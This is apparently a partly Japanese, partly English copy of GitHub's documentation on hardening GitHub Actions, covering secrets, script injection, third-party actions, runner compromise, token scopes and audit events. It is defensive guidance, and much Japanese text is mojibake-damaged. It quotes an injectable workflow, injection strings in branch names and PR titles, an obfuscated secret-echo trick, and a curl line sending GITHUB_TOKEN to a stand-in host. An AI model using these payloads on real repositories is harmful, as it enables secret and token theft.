GitHub Actions のセキュリティ強化

概要

このガイドでは、特定の GitHub Actions の機能のセキュリティ強化を設定する方法について説明します。 GitHub Actions の概念について理解を深めるには、「GitHub Actions の中� �的概念」を参照してく� さい。

シークレットを使用する

機密性の高い値は、平文としてワークフローファイルに保存するのではなく、シークレットとして保存してく� さい。 Secrets can be configured at the organization, repository, or environment level, and allow you to store sensitive information in GitHub Enterprise Server.

シークレットは Libsodium sealed boxes を使用するため、GitHub Enterprise Server に到達する前に暗号化されます。 これは、UI を使用して、または REST API を介してシークレットが送信されたときに発生します。 このクライアント側の暗号化により、GitHub Enterprise Server のインフラストラクチャ内での偶発的なログ（例外ログやリクエストログなど）に関連するリスクを最小限に抑えることができます。 シークレットがアップロードされると、GitHub Enterprise Server はそれを復号化して、ワークフローランタイ� に挿入できるようになります。

偶発的な開示を防ぐために、GitHub Enterprise Server は、実行ログに表示されるシークレットを編集しようとするメカニズ� を使用しています。 この編集は、設定されたシークレットの完全一致、および Base64 などの値の一般的なエンコーディングを検索します。 た� し、シークレットの値を変換する方法は複数あるため、この編集は保証されません。 そのため、シークレットを確実に編集し、シークレットに関連する他のリスクを制限するために実行する必要がある、特定の予防的ステップと推奨事� �は次のとおりです。

• 構� 化データをシークレットとして使用しない
  • 構� 化データは、ログ内のシークレットの編集失敗の原� となる可能性があります。これは、編集が特定のシークレット値の完全一致を見つけることに大きく依存しているためです。 たとえば、JSON、XML、または YAML（または同様）の Blob を使用してシークレット値をカプセル化しないでく� さい。シークレットが適切に編集される可能性が大幅に低下するためです。 代わりに、機密値ごとに個別のシークレットを作成します。
• ワークフロー内で使用されるすべてのシークレットを登録する
  • シークレットを使用してワークフロー内で別の機密値を生成する� �合は、生成された値を正式にシークレットとして登録して、ログに表示されたときに編集されるようにする必要があります。 たとえば、秘密鍵を使用して署名済み JWT を生成し、Web API にアクセスする� �合は、その JWT をシークレットとして登録してく� さい。そうしない� �合、ログ出力に入力されても編集されません。
  • シークレットの登録は、あらゆる種類の変換/エンコーディングにも適用されます。 シークレットが何らかの方法で変換された� �合（Base64 や URL エンコードなど）、新しい値もシークレットとして登録してく� さい。
• シークレットの処理方法を監査する
  • シークレットの使用方法を監査し、シークレットが想定どおりに処理されていることを確認します。 これを行うには、ワークフローを実行しているリポジトリのソースコードを確認し、ワークフローで使用されているアクションを確認します。 たとえば、意図しないホストに送信されていないか、またはログ出力に明示的に出力されていないかを確認します。
  • 有効/無効な入力をテストした後、ワークフローの実行ログを表示し、シークレットが正しく編集されているか、表示されていないかを確認します。 呼び出しているコマンドまたはツールがどのようにしてエラーを STDOUT および STDERR に送信するかは必ずしも明らかではなく、シークレットはその後エラーログに記録される可能性があります。 そのため、有効な入力と無効な入力をテストした後、ワークフローログを手動で確認することをお勧めします。
• スコープが最小限の認証情� �を使用する
  • ワークフロー内で使用されている認証情� �に必要な最小限の権限があることを確認し、リポジトリへの書き込みアクセスを持つすべてのユーザが、リポジトリで設定されたすべてのシークレットへの読み取りアクセスを持っていることに注意してく� さい。
• 登録されたシークレットの監査とローテーション
  • 登録されたシークレットを定期的に確認して、現在も必要であることを確認します。 不要になったものは削除してく� さい。
  • シークレットを定期的にローテーションして、不正使用されたシークレットが有効である期間を短縮します。
• シークレットへのアクセスのレビューを必� �とすることを検討する
  • 必� �のレビュー担当者を使って環境のシークレットを保護できます。 レビュー担当者によって許可されるまで、ワークフローのジョブは環境のシークレットにアクセスできません。 For more information about storing secrets in environments or requiring reviews for environments, see "Encrypted secrets" and "Using environments for deployment."

Using CODEOWNERS to monitor changes

You can use the CODEOWNERS feature to control how changes are made to your workflow files. For example, if all your workflow files are stored in .github/workflows, you can add this directory to the code owners list, so that any proposed changes to these files will first require approval from a designated reviewer.

詳細は「コードオーナーについて」を参照してく� さい。

Understanding the risk of script injections

When creating workflows, custom actions, and composite actions actions, you should always consider whether your code might execute untrusted input from attackers. This can occur when an attacker adds malicious commands and scripts to a context. When your workflow runs, those strings might be interpreted as code which is then executed on the runner.

Attackers can add their own malicious content to the github context, which should be treated as potentially untrusted input. These contexts typically end with body, default_branch, email, head_ref, label, message, name, page_name,ref, and title. For example: github.event.issue.title, or github.event.pull_request.body.

You should ensure that these values do not flow directly into workflows, actions, API calls, or anywhere else where they could be interpreted as executable code. By adopting the same defensive programming posture you would use for any other privileged application code, you can help security harden your use of GitHub Actions. For information on some of the steps an attacker could take, see "Potential impact of a compromised runner."

In addition, there are other less obvious sources of potentially untrusted input, such as branch names and email addresses, which can be quite flexible in terms of their permitted content. For example, zzz";echo${IFS}"hello";# would be a valid branch name and would be a possible attack vector for a target repository.

The following sections explain how you can help mitigate the risk of script injection.

Example of a script injection attack

A script injection attack can occur directly within a workflow's inline script. In the following example, an action uses an expression to test the validity of a pull request title, but also adds the risk of script injection:

      - name: Check PR title
        run: |
          title="${{ github.event.pull_request.title }}"
          if [[ $title =~ ^octocat ]]; then
          echo "PR title starts with 'octocat'"
          exit 0
          else
          echo "PR title did not start with 'octocat'"
          exit 1
          fi

This example is vulnerable to script injection because the run command executes within a temporary shell script on the runner. Before the shell script is run, the expressions inside ${{ }} are evaluated and then substituted with the resulting values, which can make it vulnerable to shell command injection.

To inject commands into this workflow, the attacker could create a pull request with a title of a"; ls $GITHUB_WORKSPACE":

In this example, the " character is used to interrupt the title="${{ github.event.pull_request.title }}" statement, allowing the ls command to be executed on the runner. You can see the output of the ls command in the log:

Good practices for mitigating script injection attacks

There are a number of different approaches available to help you mitigate the risk of script injection:

Using an action instead of an inline script (recommended)

The recommended approach is to create an action that processes the context value as an argument. This approach is not vulnerable to the injection attack, as the context value is not used to generate a shell script, but is instead passed to the action as an argument:

uses: fakeaction/checktitle@v3
with:
    title: ${{ github.event.pull_request.title }}

Using an intermediate environment variable

For inline scripts, the preferred approach to handling untrusted input is to set the value of the expression to an intermediate environment variable.

The following example uses Bash to process the github.event.pull_request.title value as an environment variable:

      - name: Check PR title
        env:
          TITLE: ${{ github.event.pull_request.title }}
        run: |
          if [[ "$TITLE" =~ ^octocat ]]; then
          echo "PR title starts with 'octocat'"
          exit 0
          else
          echo "PR title did not start with 'octocat'"
          exit 1
          fi

In this example, the attempted script injection is unsuccessful:

With this approach, the value of the ${{ github.event.issue.title }} expression is stored in memory and used as a variable, and doesn't interact with the script generation process. In addition, consider using double quote shell variables to avoid word splitting, but this is one of many general recommendations for writing shell scripts, and is not specific to GitHub Actions.

Restricting permissions for tokens

To help mitigate the risk of an exposed token, consider restricting the assigned permissions. For more information, see "Modifying the permissions for the GITHUB_TOKEN."

サードパーティアクションを使用する

ワークフロー内の個々のジョブは、他のジョブと相互作用（および侵害）する� �合があります。 たとえば、後のジョブで使用される環境変数をクエリするジョブ、後のジョブが処理する共有ディレクトリにファイルを書き込むジョブ、あるいはもっと直接的にDocker ソケットとやり取りして他の実行中のコンテナを検査してコマンドを実行するジョブなどです。

これは、ワークフロー内の 1 つのアクションへの侵害が非常に重要になる可能性があるということです。その侵害されたアクションがリポジトリに設定されたすべてのシークレットにアクセスし、GITHUB_TOKEN を使用してリポジトリに書き込むことができるためです。 したがって、GitHub のサードパーティリポジトリからアクションを調達することには大きなリスクがあります。 For information on some of the steps an attacker could take, see "Potential impact of a compromised runner."

次のような適切な方法に従うことで、このリスクを軽減することができます。

• アクションを完全なコミット SHA にピン止めする

  現在、アクションを不変のリリースとして使用する唯一の方法は、アクションを完全なコミット SHA にピン止めすることです。 特定の SHA にピン止めすると、有効な Git オブジェクトペイロードに対して SHA-1 衝突を生成する必要があるため、悪意のある人がアクションのリポジトリにバックドアを追� するリスクを軽減できます。

• アクションのソースコードを監査する

  アクションが想定どおりにリポジトリとシークレットのコンテンツを処理していることを確認します。 たとえば、シークレットが意図しないホストに送信されていないか、または誤ってログに記録されていないかを確認します。

• 作成者を信� �できる� �合に限り、アクションをタグにピン止めする

  コミット SHA に対するピン止めが最も安全なオプションですが、タグを指定する方が便利で広く使用されています。 タグを指定する� �合は、アクションの作成者が信� �できることを確認してく� さい。 GitHub Marketplace の「Verified creator」バッジは便利な判断材料で、 GitHub で身元が確認されたチー� によって作成されたアクションであることを示しています。 作者が信� �できる� �合でも、このアプローチにはリスクがあることに注意してく� さい。悪意のある人がアクションを保存しているリポジトリにアクセスすると、タグが移動または削除される可能性があります。

Using OpenSSF Scorecards to secure workflows

Scorecards is an automated security tool that flags risky supply chain practices. You can use the Scorecards action and starter workflow to follow best security practices. Once configured, the Scorecards action runs automatically on repository changes, and alerts developers about risky supply chain practices using the built-in code scanning experience. The Scorecards project runs a number of checks, including script injection attacks, token permissions, and pinned actions.

Potential impact of a compromised runner

These sections consider some of the steps an attacker can take if they're able to run malicious commands on a GitHub Actions runner.

シークレットへのアクセス

Workflows triggered using the pull_request event have read-only permissions and have no access to secrets. However, these permissions differ for various event triggers such as issue_comment, issues and push, where the attacker could attempt to steal repository secrets or use the write permission of the job's GITHUB_TOKEN.

• If the secret or token is set to an environment variable, it can be directly accessed through the environment using printenv.

• If the secret is used directly in an expression, the generated shell script is stored on-disk and is accessible.

• For a custom action, the risk can vary depending on how a program is using the secret it obtained from the argument:

  uses: fakeaction/publish@v3
  with:
      key: ${{ secrets.PUBLISH_KEY }}
  

Although GitHub Actions scrubs secrets from memory that are not referenced in the workflow (or an included action), the GITHUB_TOKEN and any referenced secrets can be harvested by a determined attacker.

Exfiltrating data from a runner

An attacker can exfiltrate any stolen secrets or other data from the runner. To help prevent accidental secret disclosure, GitHub Actions automatically redact secrets printed to the log, but this is not a true security boundary because secrets can be intentionally sent to the log. For example, obfuscated secrets can be exfiltrated using echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};. In addition, since the attacker may run arbitrary commands, they could use HTTP requests to send secrets or other repository data to an external server.

Stealing the job's GITHUB_TOKEN

It is possible for an attacker to steal a job's GITHUB_TOKEN. The GitHub Actions runner automatically receives a generated GITHUB_TOKEN with permissions that are limited to just the repository that contains the workflow, and the token expires after the job has completed. Once expired, the token is no longer useful to an attacker. To work around this limitation, they can automate the attack and perform it in fractions of a second by calling an attacker-controlled server with the token, for example: a"; set +e; curl http://example.lab?token=$GITHUB_TOKEN;#.

Modifying the contents of a repository

The attacker server can use the GitHub Enterprise Server API to modify repository content, including releases, if the assigned permissions of GITHUB_TOKEN are not restricted.

リポジトリ間のアクセスを検討する

GitHub Actions is intentionally scoped for a single repository at a time. The GITHUB_TOKEN grants the same level of access as a write-access user, because any write-access user can access this token by creating or modifying a workflow file. ユーザはリポジトリごとに特定の権限を持っているため、1 つのリポジトリの GITHUB_TOKEN に別のリポジトリへのアクセスを許可すると、慎重に実装しない� �合 GitHub 権限モデルに影響します。 同様に、GitHub 認証トークンをワークフローに追� する� �合は注意が必要です。これは、コラボレータに誤って広範なアクセスを付与することにより、GitHub アクセス許可モデルにも影響を与える可能性があるためです。

GitHub ロードマップでは、GitHub Enterprise Server 内のリポジトリ間アクセスを可能にするフローをサポートする計画がありますが、この機能はま� サポートされていません。 現在、権限のあるリポジトリ間のやり取りを実行する唯一の方法は、ワークフロー内に GitHub 認証トークンまたは SSH キーをシークレットとして配置することです。 多くの認証トークンタイプでは特定のリソースへの詳細なアクセスが許可されていないことから、意図したものよりはるかに広範なアクセスを許可できるため、間違ったトークンタイプを使用すると重大なリスクが生じます。

次のリストでは、ワークフロー内のリポジトリデータにアクセスするための推奨アプローチを優先度の高い� �に説明しています。

1. GITHUB_TOKEN
   • このトークンは、ワークフローを呼び出した単一のリポジトリに意図的にスコープされており、リポジトリの書き込みアクセスを持つユーザと同じレベルのアクセス権をことができます。 トークンは各ジョブが開始する前に作成され、ジョブが終了すると期限切れになります。 詳しい情� �については「GITHUB_TOKENでの認証」を参照してく� さい。
   • 可能な� �合は、常に GITHUB_TOKEN を使用する必要があります。
2. リポジトリのデプロイキー
   • デプロイキーは、単一のリポジトリへの読み取りまたは書き込みアクセスを許可する唯一の認証情� �タイプの 1 つであり、ワークフロー内の別のリポジトリとのやり取りに使用できます。 詳しい情� �については、「デプロイキーを管理する」を参照してく� さい。
   • デプロイキーは Git を使用してリポジトリに複製およびプッシュできる� けであり、REST または GraphQL API とのやり取りには使用できないため、要件に適さない� �合があることに注意してく� さい。
3. GitHub App トークン
   • GitHub Apps は、選択したリポジトリにインストールでき、リポジトリ内のリソースに対する詳細な権限を持つこともできます。 Organization の内部で GitHub App を作成し、ワークフロー内でアクセスする必要があるリポジトリにインストールして、それらのリポジトリにアクセスするためのワークフロー内のインストールとして認証できます。
4. 個人アクセストークン
   • 自分のアカウントから個人アクセストークンを使用しないでく� さい。 These tokens grant access to all repositories within the organizations that you have access to, as well as all personal repositories in your personal account. これにより、ワークフローが含まれているリポジトリのすべての書き込みアクセスユーザに間接的に広範なアクセス権が付与されます。 さらに、後で Organization を離れると、このトークンを使用するワークフローはすぐに中断され、この問題のデバッグが困難になる� �合があります。
   • 個人アクセストークンを使用する� �合は、ワークフローに必要な特定のリポジトリへのアクセスのみが許可される新しいアカウント用に生成されたものを使用してく� さい。 このアプローチはスケーラブルではないため、デプロイキーなどの代替案を優先して避ける必要があります。
5. SSH keys on a personal account
   • Workflows should never use the SSH keys on a personal account. これらは、個人アクセストークンと同様に、すべての個人リポジトリと、Organization のメンバーシップを通じてアクセスできるすべてのリポジトリに読み取り/書き込み権限を付与します。 これにより、ワークフローが含まれているリポジトリのすべての書き込みアクセスユーザに間接的に広範なアクセス権が付与されます。 リポジトリのクローンまたはプッシュのみを実行する必要があり、パブリック API とやり取りする必要がないため、SSH キーを使用する� �合は、代わりに個別のデプロイキーを使用する必要があります。

セルフホストランナーを強化する

Self-hosted runners for GitHub Enterprise Server do not have guarantees around running in ephemeral clean virtual machines, and can be persistently compromised by untrusted code in a workflow.

Be cautious when using self-hosted runners on private or internal repositories, as anyone who can fork the repository and open a pull request (generally those with read access to the repository) are able to compromise the self-hosted runner environment, including gaining access to secrets and the GITHUB_TOKEN which grants write access to the repository. ワークフローは、環境と必要なレビューを使用して環境シークレットへのアクセスを制御できますが、これらのワークフローは分離された環境では実行されず、セルフホストランナーで実行した� �合でも同じリスクの影響を受けやすくなります。

セルフホストランナーがOrganizationもしくはEnterpriseのレベルで定義されているなら、GitHub Enterprise Serverは同じランナー上で複数のリポジトリからのワークフローをスケジューリングするかもしれません。 したがって、これらの環境へのセキュリティ侵害は、大きな影響をもたらす可能性があります。 侵害の範囲を狭めるために、セルフホストランナーを個別のグループにまとめることで、境界を作ることができます。 You can restrict what organizations and repositories can access runner groups. 詳しい情� �については、「グループを使用したセルフホストランナーへのアクセスを管理する」を参照してく� さい。

次のように、セルフホストランナーマシンの環境も考慮する必要があります。

• セルフホストランナーとして設定されたマシンにはどのような機密情� �が存在するか。 たとえば、SSH 秘密鍵、API アクセストークンなどです。
• マシンが機密性の高いサービスにネットワークアクセス可能か。 たとえば、Azure または AWS メタデータサービスなどです。 この環境での機密情� �量は最小限に抑える必要があります。ワークフローを呼び出すことができるすべてのユーザがこの環境にアクセスできることを常に意識しておいてく� さい。

中には、それぞれのジョブの実行後にセルフホストランナーを自動的に� �棄するようなシステ� を実装することで、このリスクを部分的に軽減しようとするお客様もいます。 しかし、このアプローチは意図したほどには効果的ではないかもしれません。これは、セルフホストランナーが1つのジョブ� けを実行するという保証がないためです。 Some jobs will use secrets as command-line arguments which can be seen by another job running on the same runner, such as ps x -w. This can lead to secret leakages.

Planning your management strategy for self-hosted runners

A self-hosted runner can be added to various levels in your GitHub hierarchy: the enterprise, organization, or repository level. This placement determines who will be able to manage the runner:

Centralized management:

• If you plan to have a centralized team own the self-hosted runners, then the recommendation is to add your runners at the highest mutual organization or enterprise level. This gives your team a single location to view and manage your runners.
• If you only have a single organization, then adding your runners at the organization level is effectively the same approach, but you might encounter difficulties if you add another organization in the future.

Decentralized management:

• If each team will manage their own self-hosted runners, then the recommendation is to add the runners at the highest level of team ownership. For example, if each team owns their own organization, then it will be simplest if the runners are added at the organization level too.
• You could also add runners at the repository level, but this will add management overhead and also increases the numbers of runners you need, since you cannot share runners between repositories.

GitHub Actionsイベントの監査

Organizationの管理タスクをモニタするために、監査ログを使用できます。 The audit log records the type of action, when it was run, and which personal account performed the action.

たとえば、監査ログを使用して、Organization のシークレットへの変更を追跡する org.update_actions_secret イベントを追跡できます。

以下の表は、監査ログにあるGitHub Actionsのイベントを示します。 For more information on using the audit log, see "Reviewing the audit log for your organization" and "Reviewing audit logs for your enterprise."

設定変更のイベント

アクション	説明
repo.actions_enabled	リポジトリに対して GitHub Actions が有効化されたときにトリガーされます。 UI を使用して表示できます。 このイベントは、REST API を使用して Audit log にアクセスした� �合には表示されません。 詳しい情� �については、「REST API を使用する」を参照してく� さい。
repo.update_actions_access_settings	Triggered when the setting to control how your repository is used by GitHub Actions workflows in other repositories is changed.

シークレット管理のイベント

アクション	説明
org.create_actions_secret	Organization に対して GitHub Actions シークレットが作成されたときにトリガーされます。 詳しい情� �については、「Organization の暗号化されたシークレットを作成する」を参照してく� さい。
org.remove_actions_secret	GitHub Actions シークレットが削除されたときにトリガーされます。
org.update_actions_secret	GitHub Actions シークレットが更新されたときにトリガーされます。
repo.create_actions_secret	リポジトリに対して GitHub Actions シークレットが作成されたときにトリガーされます。 詳しい情� �については、「リポジトリに対して暗号化されたシークレットを作成する」を参照してく� さい。
repo.remove_actions_secret	GitHub Actions シークレットが削除されたときにトリガーされます。
repo.update_actions_secret	GitHub Actions シークレットが更新されたときにトリガーされます。

セルフホストランナーのイベント

アクション	説明
enterprise.register_self_hosted_runner	新しいセルフホストランナーが登録されたときにトリガーされます。 詳しい情� �については「Enterpriseへのセルフホストランナーの追� 」を参照してく� さい。
enterprise.remove_self_hosted_runner	セルフホストランナーが削除されたときにトリガーされます。
enterprise.runner_group_runners_updated	Triggered when a runner group's member list is updated. 詳しい情� �については、「Organizationのグループにセルフホストランナーを設定する」を参照してく� さい。
enterprise.self_hosted_runner_updated	ランナーアプリケーションが更新されたときにトリガーされます。 REST API と UI を使用して表示できます。 Audit log を JSON データまたは CSV ファイルとしてエクスポートする� �合、このイベントは含まれません。 詳しい情� �については、「セルフホストランナーについて」および「Organization の Audit log をレビューする」を参照してく� さい。
org.register_self_hosted_runner	新しいセルフホストランナーが登録されたときにトリガーされます。 詳しい情� �については、「Organization へのセルフホストランナーの追� 」を参照してく� さい。
org.remove_self_hosted_runner	セルフホストランナーが削除されたときにトリガーされます。 詳しい情� �については、「Organization からランナーを削除する」を参照してく� さい。
org.runner_group_runners_updated	ランナーグループのメンバーリストが更新されたときにトリガーされます。 詳しい情� �については「Organizationのグループ内にセルフホストランナーをセットする」を参照してく� さい。
org.runner_group_updated	セルフホストランナーグループの設定が変更されたときにトリガーされます。 For more information, see "Changing the access policy of a self-hosted runner group."
org.self_hosted_runner_updated	ランナーアプリケーションが更新されたときにトリガーされます。 REST API及びUIを使って見ることができます。JSON/CSVエクスポートで見ることはできません。 詳しい情� �については「セルフホストランナーについて」を参照してく� さい。
repo.register_self_hosted_runner	新しいセルフホストランナーが登録されたときにトリガーされます。 詳しい情� �については、「リポジトリにセルフホストランナーを追� する」を参照してく� さい。
repo.remove_self_hosted_runner	セルフホストランナーが削除されたときにトリガーされます。 For more information, see "Removing a runner from a repository."
repo.self_hosted_runner_updated	ランナーアプリケーションが更新されたときにトリガーされます。 REST API及びUIを使って見ることができます。JSON/CSVエクスポートで見ることはできません。 詳しい情� �については「セルフホストランナーについて」を参照してく� さい。

セルフホストランナーグループのイベント

アクション	説明
enterprise.runner_group_created	セルフホストランナーグループが作成されたときにトリガーされます。 詳しい情� �については、「Enterprise のセルフホストランナーグループを作成する」を参照してく� さい。
enterprise.runner_group_removed	セルフホストランナーグループが削除されたときにトリガーされます。 詳しい情� �については「セルフホストランナーグループの削除」を参照してく� さい。
enterprise.runner_group_runner_removed	セルフホストランナーをグループから削除するのにREST APIが使われたときにトリガーされます。
enterprise.runner_group_runners_added	セルフホストランナーがグループに追� されたときにトリガーされます。 詳しい情� �については、「セルフホストランナーをグループに移動する」を参照してく� さい。
enterprise.runner_group_updated	セルフホストランナーグループの設定が変更されたときにトリガーされます。 詳しい情� �については「セルフホストランナーグループのアクセスポリシーの変更」を参照してく� さい。
org.runner_group_created	セルフホストランナーグループが作成されたときにトリガーされます。 詳しい情� �については、「Organization のセルフホストランナーグループを作成する」を参照してく� さい。
org.runner_group_removed	セルフホストランナーグループが削除されたときにトリガーされます。 詳しい情� �については「セルフホストランナーグループの削除」を参照してく� さい。
org.runner_group_updated	セルフホストランナーグループの設定が変更されたときにトリガーされます。 詳しい情� �については「セルフホストランナーグループのアクセスポリシーの変更」を参照してく� さい。
org.runner_group_runners_added	セルフホストランナーがグループに追� されたときにトリガーされます。 詳しい情� �については、「セルフホストランナーをグループに移動する」を参照してく� さい。
org.runner_group_runner_removed	セルフホストランナーをグループから削除するのにREST APIが使われたときにトリガーされます。 詳しい情� �については、「Organization のグループからセルフホストランナーを削除する」を参照してく� さい。

ワークフローアクティビティのイベント

アクション	説明